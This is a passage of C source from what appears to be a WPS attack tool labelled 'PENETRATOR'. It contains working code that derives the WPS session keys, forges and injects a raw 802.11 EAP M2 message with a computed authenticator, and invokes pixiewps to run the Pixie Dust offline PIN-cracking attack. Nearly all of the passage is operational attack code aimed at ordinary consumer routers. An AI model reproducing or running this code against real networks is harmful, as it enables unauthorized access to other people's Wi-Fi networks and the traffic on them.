BN_bn2bin(pub_key, (unsigned char*)mypublic);
char publickey[2048];
int len = hex2raw(attack->pke, publickey);
BIGNUM *pkey = BN_bin2bn((unsigned char*)publickey, len, NULL);
DH_compute_key((unsigned char*)attack->secret, pkey, dh);
BN_free(pkey);
DH_free(dh);
char hashme[8194];
char tgt[32];
int2hex(attack->tgt_mac, tgt);
hex2raw(attack->enonce, hashme);
hex2raw(tgt, hashme + 16);
hex2raw(attack->rnonce, hashme + 22);
char *kdk = sha256_hmac(attack->secret, 192, hashme, 38);
char *derived = kdf(kdk, "Wi-Fi Easy and Secure Key Derivation", 640);
memcpy(attack->derived, derived, 80);
free(kdk);
free(derived);
}
void add_auth(ATTACK_INFO *attack,char *packet,int *len,void *last, int llen){
char hashme[8194];
int nl=*len;
memcpy(hashme,last,llen);
memcpy(hashme+llen,packet+58,nl-58);
char *auther=sha256_hmac(attack->derived,32,hashme,llen+nl-58);
packet[nl]=0x10;
packet[nl+1]=0x05;
packet[nl+2]=0x00;
packet[nl+3]=0x08;
memcpy(packet+nl+4,auther,8);
free(auther);
*len=nl+12;
}
int send_m2(ATTACK_INFO *attack){
char packet[2048];
char tgt[32];
char src[32];
char sn[8];
char mysecret[192],mypublic[192];
dh_get(attack,mysecret,mypublic);
raw2hex(mypublic,attack->pkr,192);
sn2hex((attack->sn)++,sn);
int2hex(attack->tgt_mac,tgt);
int2hex(attack->src_mac,src);
sprintf(packet,"00 00 08 00 00 00 00 00 08 01 3a 01 %s %s %s %s \
aa aa 03 00 00 00 88 8e 01 00 01 97 02 %02hhX 01 97 \
fe 00 37 2a 00 00 00 01 04 00 10 4a 00 01 10 10 \
22 00 01 05 10 1a 00 10 %s 10 39 00 10 %s 10 48 00 10 %s \
10 32 00 c0 %s 10 04 00 02 00 3f 10 10 00 02 00 0f \
10 0d 00 01 01 10 08 00 02 00 8c 10 21 00 09 4d \
69 63 72 6f 73 6f 66 74 10 23 00 07 57 69 6e 64 \
6f 77 73 10 24 00 08 36 2e 31 2e 37 36 30 31 10 \
42 00 01 00 10 54 00 08 00 01 00 50 f2 04 00 01 \
10 11 00 04 47 6c 61 75 10 3c 00 01 01 10 02 00 \
02 00 00 10 09 00 02 00 00 10 12 00 02 00 00 10 \
2d 00 04 80 06 00 01",tgt,src,tgt,sn,attack->eap_id,attack->enonce,attack->rnonce,attack->ruuid,attack->pkr);
char raw[2048];
int len=hex2raw(packet,raw);
add_auth(attack,raw,&len,attack->m1,attack->m1l);
sem_wait(&sendmutex);
pcap_inject(fp,raw,len);
attack->lastsend=gettick();
sem_post(&sendmutex);
if(attack->resendmsg)free(attack->resendmsg);
attack->resendmsg=malloc(len);
memcpy(attack->resendmsg,raw,len);
attack->resendlen=len;
if(VERBOSE>0)printf("[PENETRATOR] Sending M2\n");
return 0;
}
unsigned long long int dopixie(ATTACK_INFO *attack){
if(!PIXIEDUST)return 100000000LLU;
char cmd[4096];
char auth[256];
raw2hex(attack->derived,auth,32);
sprintf(cmd,"pixiewps -e %s -r %s -s %s -z %s -a %s -n %s -m %s 2>/dev/null",attack->pke,attack->pkr,attack->ehash1,attack->ehash2,auth,attack->enonce,attack->rnonce);
FILE *p=popen(cmd,"r");